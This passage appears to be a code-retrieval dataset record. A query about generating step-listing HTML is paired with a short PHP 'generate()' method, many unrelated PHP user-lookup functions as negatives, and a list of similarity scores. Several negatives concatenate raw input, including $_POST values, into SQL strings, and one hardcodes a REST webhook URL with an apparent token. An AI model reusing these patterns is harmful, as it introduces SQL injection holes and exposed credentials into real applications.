$conn->query($q['query']);\n $q['result'] = $q['run']->fetch_assoc();\n\n return $q['result'];\n}", "public function get_user_info($userId,$searchId){\n $sql = \"SELECT u.firstName,s.searchName from users u,searchcriteria s where u.userId = s.userId AND u.userId =$userId AND s.searchId =$searchId AND s.deleteFlag !=1 AND u.deleteFlag !=1\";\n $result = $this->db->query($sql);\n return $result->result_array(); \n }", "public function getResultsOfUser($user_id);", "public function view_by($user_id){\n $this->db->where('user_id', $user_id);\n return $this->db->get('tbl_users')->row();\n }", "public function getAllUserById($id);", "public function findUser($userId);", "public function findByUserId($userId){\n return self::find()->where(['user_id' => $userId])->all();\n }", "function fetch_restaurants_by_user_info($user_id)\n\t{\n\t\treturn $this->db->select('*')\n\t\t\t\t\t\t->from('restaurants')\n\t\t\t\t\t\t->where('restaurant_creator', $user_id)\n\t\t\t\t\t\t->get()\n\t\t\t\t\t\t->result_array();\n\t}", "function cicleinscription_get_user_by_id($userid){\n\tglobal $DB;\n\treturn $DB->get_record('user', array('id'=>$userid));\n}", "protected function getUser($name){\r\n\t\t\r\n\t\t$sql = \"SELECT * FROM users WHERE users_firstname = ?\";\r\n\t\t\r\n\t\t//asking to prepare the statement inside the database instead of query\r\n\t\t$stmt = $this->connect()->prepare($sql);\r\n\t\t\r\n\t\t//filling the blanks left by the ?\r\n\t\t//using the execute method to actually run the data\r\n\t\t$stmt->execute([$name]);\r\n\t\t\r\n\t\t$results = $stmt->fetchALL();\r\n\t\treturn $results;\r\n\t}", "function searchUserName($userId) {\n\n\t\t// INFORMACION RESPONSABLE\n $detailsResponsable = \"https://intranet.idex.cc/rest/117/w0qdwl5fbr0hpuf1/user.get?ID=\".$userId;\n // OBTIENE LA RESPUESTA DE LA API REST BITRIX\n $responseAPI = file_get_contents($detailsResponsable);\n\n // CAMPOS DE LA RESPUESTA\n $responsable = json_decode($responseAPI, true);\n // FIN INFORMACION RESPOSABLE\n return $responsable[\"result\"];\n\t}", "function GetUsers($strRole='A',$strValue='',$strOrder='name')\n{\n global $oDB;\n \n $strQ = 'SELECT id,name FROM '.TABUSER.' WHERE role=\"A\" ORDER BY '.$strOrder;\n\n if ( $strRole=='M' ) $strQ = 'SELECT id,name FROM '.TABUSER.' WHERE role=\"A\" OR role=\"M\" ORDER BY '.$strOrder;\n if ( $strRole=='M-' ) $strQ = 'SELECT id,name FROM '.TABUSER.' WHERE role=\"M\" ORDER BY '.$strOrder;\n if ( $strRole=='name') $strQ = 'SELECT id,name FROM '.TABUSER.' WHERE name=\"'.$strValue.'\" ORDER BY '.$strOrder;\n if ( substr($strRole,-1,1)=='*' )\n {\n $like = 'LIKE'; if ( $oDB->type=='pg' ) $like = 'ILIKE';\n $strQ = 'SELECT id,name FROM '.TABUSER.' WHERE name '.$like.' \"'.substr($strRole,0,-1).'%\" ORDER BY '.$strOrder;\n }\n\n $oDB->Query($strQ);\n\n $arrUsers = array();\n $i=1;\n while ($row=$oDB->Getrow())\n {\n $arrUsers[$row['id']]=$row['name'];\n $i++;\n if ( $i>200 ) break;\n }\n return $arrUsers;\n}", "public function getUser($id);", "function checkUserByUserID($user_id){\n\t\t$rec\t= $this->query(\"SELECT * from `users` where `id` = \".$user_id);\t\t\n\t\tif($rec && mysql_num_rows($rec) == 1){\n\t\t\t//if user with the user_name got found\n\t\t\treturn $rec;\n\t\t}else{\n\t\t\t//if user with the user_name got not found\n\t\t\treturn false;\n\t\t}\n\t}", "public function getUsersMatching($keyword) {\n $sql = 'SELECT id, firstname, mail, role, isAdmin FROM user WHERE firstname LIKE ? OR mail LIKE ? OR role LIKE ?';\n $sth = $this->db->prepare($sql);\n $sth-> execute(array(\"%$keyword%\", \"%$keyword%\", \"%$keyword%\"));\n if ($row = $sth->fetchAll()) {\n return $row;\n }\n\n }", "public function query($user, $or)\r\n {\r\n $sql = \"\";\r\n if ($or) {\r\n $sql = \"select * from user where account='\" . $user->account . \"' \";\r\n } else {\r\n $sql = \"select * from user where account='\" . $user->account . \"'and password='\" . $user->password . \"'\";\r\n }\r\n\r\n// $sql = \"select * from user where account='\" . $user->account . \"' \" . $or_ . \" password='\" . $user->password . \"'\";\r\n\r\n// $sql = printf($sql, $user->accound, $user->password);\r\n\r\n $result = MyDao::queryForResult($sql);\r\n\r\n $has = false;\r\n\r\n while ($obj = mysqli_fetch_object($result)) {\r\n $has = true;\r\n }\r\n return $has;\r\n }", "public function user()\n {\n $this->query->where('author_id', auth()->user()->id);\n }", "public function get_user_details_id($view_id){\r\n $user = $this->collection->user->find( [ 'user_id' => $view_id ] );\r\n $name = '';\r\n $result = array();\r\n $flag = false;\r\n \r\n foreach ($user as $entry) {\r\n $flag = true;\r\n //$entry['name'];\r\n array_push($result,$entry);\r\n }\r\n if($flag){\r\n return $result;\r\n }\r\n else{\r\n return false;\r\n }\t\t\r\n\t}", "function FindUser($User) {\n $User = str_replace('ZZ ', '', $User);\n\n //separa o primeiro nome do sobrenome\n $name_complete = explode(' ', $User);\n $user_name = array_shift($name_complete);\n $user_lastname = implode(' ', $name_complete);\n\n $Read = new WsUsers();\n\n $Read->setUser_name($user_name);\n $Read->setUser_lastname($user_lastname);\n $Result = $Read->Execute()->Query(\"user_name like '%{$user_name}%' AND user_lastname like '%{$user_lastname}%'\");\n\n if (!empty($Result)):\n return $Result[0]->user_id;\n endif;\n}", "private function retrieveUserId($name,$log=false){\n\t\t$res = $this->_link->selectLCASE('users',array('id'),array('name'=>strtolower($name)),true,$log);\n\t\treturn $res['id'];\n\t}", "public function myContacts($userId)\n {\n $sql = \"SELECT * FROM `contacts` WHERE `userid`=?\";\n $stmt = $this->pdo->prepare($sql);\n $stmt->execute([$userId]);\n return $stmt->fetchAll();\n }", "function getUserbyId($id){\n\t\t$conn \t= connectDB();\n\t\t$sth \t= $conn \t-> prepare('SELECT *\n\t\t\t\t\t\t\t\t\t\tFROM `clients`\n\t\t\t\t\t\t\t\t\t\tWHERE `id` = ?');\n\t\t$sth \t-> execute(array($id));\n\t\treturn \t$sth ;\n\t}", "public function getTheUser($userId)\r\n {\r\n\r\n $stmt = $this->connection()->prepare(\"SELECT * FROM users WHERE id=?\");\r\n \r\n $stmt->execute([$userId]);\r\n $results = $stmt->fetch(PDO::FETCH_ASSOC);\r\n\r\n return $results;\r\n }", "function search_user(){\n\t\trequire_once(\"dbconnection.php\");\n\t\t$obj=new dbconnection();\n\t\t$con=$obj->getcon();\n\t\t\n\t\t\n\t\t$dbh=$obj->get_pod();\n\n\t\t$search_by = $_POST['search_by'];\n\n\t\t$sqlget = \"SELECT * FROM users WHERE uname='$search_by';\";\n\t\t$resultget = mysqli_query($con,$sqlget) or die(\"SQL Error : \".mysqli_error($con));\n\t\t$recget= mysqli_fetch_assoc($resultget);\n\n\t\techo json_encode($recget);\n\t\t\n\t}", "function getUserFromId($userId) {\n $statement = 'SELECT id, username, email, role_id, banned FROM USER WHERE id = (?)';\n $query = $this->prepare($statement);\n $query->execute([$userId]);\n return $query->fetch();\n }", "function getFriendVitals($user_id) {\n $conn = new my_mysql();\n $query = \"SELECT id, f_name, l_name, username, ppid FROM user_logging WHERE id=$user_id\";\n $res = $conn->readQuery($query);\n if ($res) {\n return $res->fetch_assoc();\n }\n}", "function get_user_by_user_id($user_id)\n{\n global $conn;\n $q['query'] = \"SELECT * FROM `user_master` WHERE `user_id`='$user_id'\";\n $q['run'] = $conn->query($q['query']);\n $q['result'] = $q['run']->fetch_assoc();\n\n return $q['result'];\n}", "function get_all($userid){\n\t\t\n\t\t$this->stmt = $this->db->select('activation');\n // set where values\n $this->stmt->where('userid','i',$userid);\n\t\treturn parent::get();\n\t}", "public function selectUserbyId($id){\r\n\r\n $query = 'SELECT * FROM user_tbl WHERE id = ?';\r\n $stmt = $this->_db->prepare($query);\r\n $stmt->execute([$id]);\r\n $users = $stmt->fetchAll(PDO::FETCH_OBJ);\r\n if ($stmt->rowCount()){\r\n return $users;\r\n }\r\n\r\n }", "public function getUsers(){\n //write the query to select all users with their role title\n $userrolequery = \"SELECT * FROM users;\";\n\n //check if the query() runs the sql statement\n if ($result = $this->dbobj->dbcon->query($userrolequery)) {\n $row = $result->fetch_all(MYSQLI_ASSOC);\n\n }\n else{\n echo \"Error\" .$this->dbobj->dbcon->error;\n }\n return $row;\n }", "public function listAllbyUser($id){\n try{\n $sql = 'select * from user u inner join person p on u.id_person = p.id_person where id_user = ?';\n $stm = $this->pdo->prepare($sql);\n $stm->execute([$id]);\n $result = $stm->fetch();\n\n } catch (Exception $e){\n $this->log->insert($e->getMessage(), get_class($this).'|'.__FUNCTION__);\n $result = [];\n }\n return $result;\n }", "static public function find_by_username($userName, $password) {\n\t$sql = \"SELECT * FROM \" . static::$table_name;\n\t$sql .= \" WHERE userName='\" . self::$database->escape_string($userName) . \"' AND password='\" . self::$database->escape_string($password) . \"'\";\n\t$obj_array = static::find_by_sql($sql);\n\tif(!empty($obj_array)){\n\t\treturn array_shift($obj_array);\n\n\t} else {\n\t\treturn false;\n\t}\n}", "function findByUserId($user_id){\n Log::info(\"Entering SkillDataService::findByUserId()\");\n \n try{\n // Select skill with matched user id\n $statement = $this->connection->prepare(\"SELECT ID, SKILL FROM SKILL WHERE USER_ID = :user_id \");\n \n if(!$statement){\n echo \"Something wrong in the binding process.sql error?\";\n exit;\n }\n //bindParam $id\n $statement->bindParam(':user_id', $user_id);\n $statement->execute();\n \n if($statement->rowCount() > 0 ){\n Log::info(\"Exit SkillDataService.findByUserId\");\n \n \n //fetches user from database and returns $user\n $result = $statement->fetchAll();\n \n return $result;\n }\n \n }catch(PDOException $e)\n {\n // catch exception and throw DatabaseException\n Log::error(\"Exception: \", array(\"message \" => $e->getMessage()));\n throw new DatabaseException(\"Database Exception: \". $e->getMessage(), 0, $e);\n }\n }", "public function users() {\n $matches = array();\n if ($name = $this->input->get('q')) {\n $users = ORM::factory('user')->where('site_id', $this->site->id)->like('searchname', text::searchable($name))->where('status', 1)->find_all();\n foreach ($users as $user) {\n if ($user->id != $this->user->id) { // Can't send a message to yourself.\n $matches[] = (object) array('id' => $user->id, 'name' => $user->name());\n }\n }\n }\n print json_encode($matches);\n die();\n }", "function getUserById($userid)\n {\n $ar_res= array();\n\n }", "function getUserData($idUser,$idData){\n\n $usr_q = listAll(\"user_det\", \"WHERE id_user = '$idUser' AND id_data = '$idData'\");\n\n $usr_data = mysql_fetch_object($usr_q);\n return $usr_data;\n\t\n}", "public function getUserById($id){\n $sql=\"SELECT * FROM users WHERE (id = ?)\";\n $select=parent::connect_db()->prepare($sql);\n $select->bindValue(1, $id);\n $select->execute();\n if($select->rowCount() > 0):\n return $select->fetchAll(\\PDO::FETCH_ASSOC);\n //return $results;\n else:\n return [];\n endif;\n }", "public function getDetail($id_user){\n\t\t$db = new Database();\n\t\t$dbConnect = $db->connect();\n\t\t$sql = \"SELECT * FROM user where id_user = '{$id_user}'\";\n\t\t$data = $dbConnect->query($sql);\n\t\t$dbConnect = $db->close();\n\t\treturn $data->fetch_array();\n\t}", "public function findById($idUser)\n {\n }", "public function get_user_search_info($userId,$searchId){\n $sql = \"SELECT u.firstName,s.searchName from users u,searchcriteria s where u.userId =$userId AND s.searchId =$searchId AND s.deleteFlag !=1 AND u.deleteFlag !=1 \";\n $result = $this->db->query($sql);\n return $result->result_array(); \n }", "function getAllUserIDs() \n {\n //This returns all userids that have rating>0\n $query = \"SELECT users.id FROM users WHERE users.rating > 0\";\n //$query = \"SELECT ratings.model_id FROM ratings WHERE ratings.model='User'\";\n $results = $this->query($query); \n $userIDs = Set::extract($results, '{n}.users.id');\n return $userIDs;\n }", "public function selectuser($userids)\n { \n try{\n $sql = 'SELECT * FROM users\n WHERE userid = :userid';\n $aa = $this->conns->prepare($sql);\n $aa->bindParam(':userid', $userids);\n $aa->execute();\n // echo \"Record selected successfully\\n\";\n $aa->setFetchMode(PDO::FETCH_ASSOC);\n return ($aa->fetchAll());\n }catch (PDOException $e)\n {\n /*echo $sql . \"<br>\" . */$e->getMessage();\n }\n }", "public function UsuariosPorId()\n{\n\tself::SetNames();\n\t$sql = \" select * from usuarios where codigo = ? \";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->execute( array(base64_decode($_GET[\"codigo\"])) );\n\t$num = $stmt->rowCount();\n\tif($num==0)\n\t{\n\t\techo \"\";\n\t}\n\telse\n\t{\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$this->p[] = $row;\n\t\t\t}\n\t\t\treturn $this->p;\n\t\t\t$this->dbh=null;\n\t\t}\n\t}", "public function recherche_user() {\n\t\t$this->onDebug ( __METHOD__, 1 );\n\t\t$userdata = $this->creer_definition_user_get_ws ();\n\t\t$this->onDebug ( $userdata, 1 );\n\t\treturn $this->getObjetZabbixWsclient ()\n\t\t\t->userGet ( $userdata );\n\t}", "function findUsers($key){\r\n // echo \"SELECT * FROM categorie WHERE cat_title LIKE '%$key%'\";\r\n $result = $this->connector->query(\"SELECT * FROM `users` WHERE full_name LIKE '%$key%'\");\r\n $x = 0;\r\n while ($row = $this->connector->fetchArray($result)) {\r\n $x++;\r\n $user[$x] = new User();\r\n $user[$x]->setId($row['id']);\r\n $user[$x]->setFull_name($row['full_name']);\r\n $user[$x]->setUsername($row['username']);\r\n $user[$x]->setPassword($row['password']);\r\n $user[$x]->setEmail($row['email']);\r\n $user[$x]->setDate($row['date']);\r\n $user[$x]->setRandom($row['random']);\r\n $user[$x]->setActivated($row['activated']);\r\n $user[$x]->setUserlevel($row['userlevel']);\r\n \r\n \t}\r\n return $user;\r\n }", "function get_user_by_ID($id){\n global $database;\n $query = \"SELECT * FROM \".TABLE_PREFIX.\"users WHERE ID = \" . $id;\n return $database->query( $query );\n}", "function get_by_user_id($id){\n $id = (int)$id; //this is typecasting - if on the off chance a string got in here instead of a number, it will force it to be a number (SQL injection prevention), stored in $id\n $sql = \"SELECT * FROM runlogs WHERE user_id = '$id'\"; //change from users to projects for this case if copied from users\n\n $runlogs = $this->select($sql); //sql only brings back one from database, so we need to put a number\n\n return $runlogs; //brings it back\n }", "function getUser(){\n $db=new connect();\n $select=\"select * from users\";\n return $db->getList($select);\n }", "function find_allusersearch_desc($user) {\n global $db;\n {\n return find_by_sql(\"SELECT * FROM search WHERE user='{$db->escape($user)}' ORDER BY id DESC\");\n }\n}", "function selectAccountByUserId($id) {\n $connection = openDb();\n $id = escape($id,$connection);\n $id = (int) $id;\n\n //Using prepared statements and parameterized queries:\n $sql = \"SELECT * FROM accounts WHERE USER = ?\";\n $stmt = $connection->stmt_init();\n if(!$stmt->prepare($sql)) {\n return false;\n }\n $stmt->bind_param(\"i\",$id);\n\n return executeQueryPrepared($stmt, $connection, true);\n}", "function getUserID($id){\n\t$crud = new CRUD();\n\t$crud->connect();\n\n\t$crud->sql(\"select * from users where userid='{$id}'\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['userid'];\n\t}\n\n\t$crud->disconnect();\n}", "public function getUserByID($id)\n {\n return $this->db->get_where('inm_user', array('id' => $id));\n }", "private function readByID($user_id){\r\n $results = array();\r\n \r\n if ( null !== $this->getDB() ) {\r\n $dbs = $this->getDB()->prepare('select * from about_page where user_id = :user_id limit 1');\r\n $dbs->bindParam(':user_id', $user_id, PDO::PARAM_INT);\r\n \r\n if ( $dbs->execute() && $dbs->rowCount() > 0 ) {\r\n $results = $dbs->fetch(PDO::FETCH_ASSOC);\r\n }\r\n \r\n } \r\n \r\n return $results;\r\n }", "public function fetchUserByUserId($userId);", "function get_user_booking_with_id($user_id){\n global $db;\n $sql = \"SELECT * FROM booking WHERE user_id = '$user_id'\";\n $result = $db->query($sql);\n return $result;\n}", "function get_usuario($user_id)\n {\n return $this->db->get_where('usuarios',array('user_id'=>$user_id))->row_array();\n }", "function SelectByIdFrom_UserDetails($dbhandle, $id, &$user)\n{\n $logger = LoggerSingleton::GetInstance();\t\n $logger->LogInfo(\"SelectByIdFrom_UserDetails : Enter ($id)\");\n\n global $UserDetailsTable_Id;\n global $UserDetailsTable_Name;\n global $UserDetailsTable_UserName;\n \n // select\n $query = \"SELECT * FROM $UserDetailsTable_Name\n WHERE $UserDetailsTable_Id = $id\";\n\n // execte\n $result = $dbhandle->query($query);\n\n if(FALSE == $result)\n {\n $logger->LogError(\"SelectByIdFrom_UserDetails : No records with id - $id found\");\n $status = false;\n }\n\n $num_rows = $result->num_rows;\n if($num_rows > 0)\n {\n while($row = $result->fetch_assoc())\n {\n $user = $row[\"$UserDetailsTable_UserName\"];\n }\n\n $status = true;\n } \n else\n {\n $logger->LogError(\"SelectByIdFrom_UserDetails : No records found\");\n $status = false;\n }\n\n return $status;\n}", "public function getUserIDandEmail()\r\n{\r\n $query_string = \"SELECT userid FROM users \";\r\n $query_string .= \"WHERE username = :username OR email = :email\";\r\n\r\n return $query_string;\r\n}", "function selectByUsername($username, $isMayacaptive = TRUE){\n $column = \"\";\n if($isMayacaptive){\n $column = \"vis_correo\";\n } else{\n $column = \"username\";\n }\n $this->db->where($column, $username);\n $result = $this->db->get($this->table);\n return $result->row();\n }", "function get_user($user_name){\n include('../../common/database/config.php');\n\n $sql = 'SELECT id,name from users where name =\"'.$user_name.'\"';\n $res = mysqli_query($conn,$sql);\n $res_array = mysqli_fetch_assoc($res, MYSQLI_ASSOC);\n\n return $res_array;\n}", "public function getUsers($id, $role) {\n\n $select;\n\n switch ($role) {\n\n case 'admin':\n\n //all log in users\n $select = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->where('status =?', 1)\n ->where('a.id !=?', $id)\n ->where('a.online_status =?', 1)\n ->order('b.name')\n ->setIntegrityCheck(false);\n\n break;\n\n case 'doctor':\n\n //all related log in patients\n $select1 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('c' => 'doctor_patient_map'), 'c.patient_id = a.id', array())\n ->join(array('d' => 'doctor'), 'd.id = c.doctor_id', array())\n ->where('d.user_id =?', $id)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n\n //all log in labtest users\n $select2 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->where('a.role_id =?', 3)\n ->where('status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n //all log in reservation users\n $select3 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->where('a.role_id =?', 5)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n\n //all log in checking users\n $select4 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->where('a.role_id =?', 4)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n\n $select = $this->select()\n ->union(array($select1, $select2, $select3, $select4))\n ->order(\"role\");\n\n break;\n\n case 'patient':\n\n //all related log in doctors\n $select1 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('d' => 'doctor'), 'user_id = a.id', array())\n ->join(array('c' => 'doctor_patient_map'), 'c.doctor_id = d.id', array())\n ->where('c.patient_id =?', $id)\n ->where('status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n //all log in labtest users if \"patient is regstered for labtests\" \n $select2 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('d' => 'labtest_patient_map'), 'patient_id = ' . $id, array())\n ->where('a.role_id =?', 3)\n ->where('status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n //all log in reservation users \"if patient is registered for reservations\"\n $select3 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('d' => 'reservation'), 'patient_id = ' . $id, array())\n ->where('a.role_id =?', 5)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n // all log in checkings users \"if pation is registred for checkings\"\n $select4 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('d' => 'checking_patient_map'), 'patient_id = ' . $id, array())\n ->where('a.role_id =?', 4)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n $select = $this->select()\n ->union(array($select1, $select2, $select3, $select4))\n ->order(\"role\");\n\n break;\n\n case 'lbuser':\n\n //get all log in patients registerd for lab tests\n $select1 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('c' => 'labtest_patient_map'), 'c.patient_id = a.id', array())\n ->where('a.role_id =?', 7)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n //get all log in doctors\n $select2 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->where('a.role_id =?', 2)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n $select = $this->select()\n ->union(array($select1, $select2))\n ->order(\"role\");\n break;\n\n case 'chuser':\n // all log in patients registerd for checkings\n $select1 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('c' => 'checking_patient_map'), 'c.patient_id = a.id', array())\n ->where('a.role_id =?', 7)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n // all log in doctors\n $select2 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->where('a.role_id =?', 2)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n $select = $this->select()\n ->union(array($select1, $select2))\n ->order(\"role\");\n break;\n\n case 'rsuser':\n // all log in patients registerd for reservations\n $select1 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->join(array('c' => 'reservation'), 'c.patient_id = a.id', array())\n ->where('a.role_id =?', 7)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n // all log in doctors\n $select2 = $this->select()\n ->from(array('a' => 'user'), array(\n 'id',\n 'title',\n 'initials',\n 'first_name',\n 'last_name')\n )\n ->join(array('b' => 'role'), 'a.role_id = b.id', array('id AS role_id', 'name AS role'))\n ->where('a.role_id =?', 2)\n ->where('a.status =?', 1)\n ->where('a.online_status =?', 1)\n ->setIntegrityCheck(false);\n\n $select = $this->select()\n ->union(array($select1, $select2))\n ->order(\"role\");\n break;\n }\n\n $result = $this->fetchAll($select);\n if ($result) {\n return $result->toArray();\n } else {\n return false;\n }\n }", "public function getAdminRecords($id)\n \t{\n\n \t\t$sql = \"SELECT * FROM users WHERE id = '\". $id . \"'\";\n \t\t//return $this->fetch($sql);\n \t\t$rows = $this->fetch($sql);\n \t\t$c=0;\n \t\tforeach($rows AS $row){\n \t\t$getuser[$c] = $row;\n \t\t$c++;\n \t\t}\n \t\treturn $getuser;\n \t}", "public function getList($user);", "public function users(){\n\t\t$user = $this->ion_auth->user()->row();\n\n\t\t$query = $this->db->select()\n\t\t\t\t\t\t\t\t\t\t\t ->from('users')\n\t\t\t\t\t\t\t\t\t\t\t ->where('admin_id',$user->id)\n\t\t\t\t\t\t\t\t\t\t\t ->order_by('id', 'asc')\n\t\t\t\t\t\t\t\t\t\t\t ->get();\n\t\t\treturn $query;\n\t}", "public function UserDetails($user_id=\"\"){\n\t\t\t$broker_userdet = $this->db->prepare(\"SELECT * FROM users WHERE status = :status AND id =:id \");\n\t\t\t$broker_userdet->execute(array(\"status\"=>1,\"id\"=>$user_id));\n\t\t\t$row = $broker_userdet->fetch(PDO::FETCH_ASSOC);\n\t\t\treturn $row; \n\t\t}", "function retrieveUserById($db, $userId)\n\t{\n\t\t// Create query\n\t\t$selectQuery = 'SELECT * FROM `users` WHERE `id` = ?';\n\n\t\t// Prepare and execute query\n\t\t$preparedStatement = $db->prepare($selectQuery);\n\t\t$preparedStatement->execute(array($userId));\n\t\t\n\t\t// Fetch and return data\n\t\tif ($userArray = $preparedStatement->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\treturn $userArray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn false;\n\t\t}\t\n\t}", "public function scopeuserbyid($query,$id){\n return $query->where('id',$id)->get();\n }", "function find_user_by_id($id)\r\n{\r\n global $db;\r\n\r\n $q = $db->prepare('SELECT name, pseudo, email, city, country, twitter, github, \r\nfacebook, sex, available_for_hiring, bio FROM users WHERE id=?');\r\n $q->execute([$id]);\r\n\r\n $data = $q->fetch(PDO::FETCH_OBJ);\r\n\r\n $q->closeCursor();\r\n return $data;\r\n}", "function getUsername($id){\n return sqlSelectOne(\"SELECT * FROM users WHERE user_id={$id}\", 'user_username');\n}", "public function getUser($userId);", "public function getUser($userId);", "public function getUserById($id) {\n\t\t\n\t}" ]
[ "0.6523387", "0.64962673", "0.64654285", "0.6465354", "0.6393977", "0.6372325", "0.6372325", "0.6343408", "0.6343408", "0.6314325", "0.62757635", "0.62394613", "0.6224285", "0.6224285", "0.621981", "0.62195224", "0.6217786", "0.6206759", "0.62060946", "0.6183377", "0.61601275", "0.615851", "0.61551976", "0.61412424", "0.61351043", "0.61150724", "0.61067927", "0.61029893", "0.60995865", "0.6084459", "0.6077825", "0.60744", "0.60713845", "0.60702133", "0.6062002", "0.60544294", "0.60520935", "0.6044962", "0.60306364", "0.60298526", "0.6026282", "0.6022681", "0.6012209", "0.60068077", "0.60047805", "0.60036063", "0.60023355", "0.5994107", "0.5989855", "0.5983347", "0.5983066", "0.59807664", "0.5976705", "0.5972516", "0.5964831", "0.595738", "0.5955659", "0.5948256", "0.59433836", "0.59421617", "0.5941851", "0.5937086", "0.59359056", "0.5932438", "0.5930487", "0.5927872", "0.5920529", "0.5916803", "0.5914945", "0.59120166", "0.5909661", "0.59077567", "0.59064466", "0.5895817", "0.589432", "0.58917516", "0.5889398", "0.58810234", "0.58806795", "0.587557", "0.58744097", "0.58733094", "0.5872209", "0.5867614", "0.5863594", "0.58622104", "0.5861765", "0.58579636", "0.5857403", "0.58573973", "0.5851577", "0.5843034", "0.5842906", "0.58426714", "0.58409697", "0.5834222", "0.58313304", "0.5830253", "0.58290446", "0.58290446", "0.58219224" ]
0.0
-1
Generate the html for the steplisting
public function generate() { $ret = $GLOBALS['TL_LANG']['tl_servitus_step']['tmpTbl'][0].": ".$this->tmpTbl.'<br>'; $objFile = \FilesModel::findByPk($this->csvFile); if(!$objFile || !is_file(TL_ROOT.'/'.$objFile->path)) { $ret = '<p class="tl_error">CSV-File not found!</p>'; } else { $ret .= $GLOBALS['TL_LANG']['tl_servitus_step']['csvFile'][0].": ".$objFile->path; } return $ret; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function renderLoadsHtml()\n {\n $steps = json_decode(file_get_contents($this->file), true);\n if (empty($_GET['operation'])) {\n $namespaces = $this->loadNamespaces($steps);\n\n $template = new Template();\n $template->assign('id', $this->id);\n $template->assign('file', realpath($this->file));\n $template->assign('section', 'sequence');\n $template->assign('resource', $this->getResourcePath());\n $template->assign('steps', json_encode($steps));\n $template->assign('namespaces', json_encode($namespaces));\n\n echo $template->fetch('sequence');\n } else {\n switch($_GET['operation']) {\n case 'delete':\n $steps = $this->remove($steps, $_GET['step']);\n }\n file_put_contents($this->file, json_encode($steps, JSON_PRETTY_PRINT));\n $namespaces = $this->loadNamespaces($steps);\n\n echo json_encode(['steps' => $steps, 'namespaces' => $namespaces]);\n }\n }", "public function render()\n {\n $this->currentStepId = array_search($this->currentStepName, $this->steps);\n $this->totalNumberOfSteps = count($this->steps);\n\n $this->percentDone = round(($this->currentStepId) * 100 / ($this->totalNumberOfSteps - 